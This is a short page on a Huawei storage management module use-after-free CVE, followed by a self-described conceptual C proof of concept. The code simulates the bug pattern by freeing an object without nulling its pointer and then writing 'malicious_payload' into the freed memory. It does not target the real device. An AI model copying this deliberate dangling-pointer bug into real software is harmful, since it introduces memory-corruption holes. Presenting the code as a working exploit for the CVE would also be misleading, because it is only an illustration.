CVE-2025-58299：华为设备存储管理模块释放后使用漏洞

// CVE-2025-58299 - Huawei Storage Management Module UAF Vulnerability // Conceptual Proof of Concept demonstrating the UAF exploitation pattern // Note: This is a conceptual PoC based on the vulnerability description. // Actual exploitation requires specific knowledge of the target device's // storage management module internals. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> // Simulated storage management object structure typedef struct { int ref_count; char data[256]; void (*callback)(void); } storage_object_t; storage_object_t *obj_ptr = NULL; // Step 1: Allocate a storage management object void allocate_storage_object() { obj_ptr = (storage_object_t *)malloc(sizeof(storage_object_t)); if (obj_ptr) { obj_ptr->ref_count = 1; memset(obj_ptr->data, 0, sizeof(obj_ptr->data)); strcpy(obj_ptr->data, "legitimate_storage_data"); obj_ptr->callback = NULL; printf("[+] Storage object allocated at %p\n", obj_ptr); } } // Step 2: Free the storage object (simulating normal cleanup) void free_storage_object() { if (obj_ptr) { printf("[+] Freeing storage object at %p\n", obj_ptr); free(obj_ptr); // BUG: obj_ptr is NOT set to NULL (dangling pointer remains) } } // Step 3: Trigger UAF by accessing the freed memory void trigger_uaf() { if (obj_ptr) { // Accessing freed memory - this is the UAF vulnerability printf("[!] Accessing freed memory at %p\n", obj_ptr); printf("[!] Data in freed memory: %s\n", obj_ptr->data); // Attacker could overwrite the freed memory here strcpy(obj_ptr->data, "malicious_payload"); printf("[!] Overwrote freed memory with malicious data\n"); } } int main() { printf("=== CVE-2025-58299 PoC - Storage Module UAF ===\n\n"); // Allocate and then free the object allocate_storage_object(); free_storage_object(); // Trigger the use-after-free vulnerability trigger_uaf(); printf("\n[*] PoC execution completed.\n"); return 0; }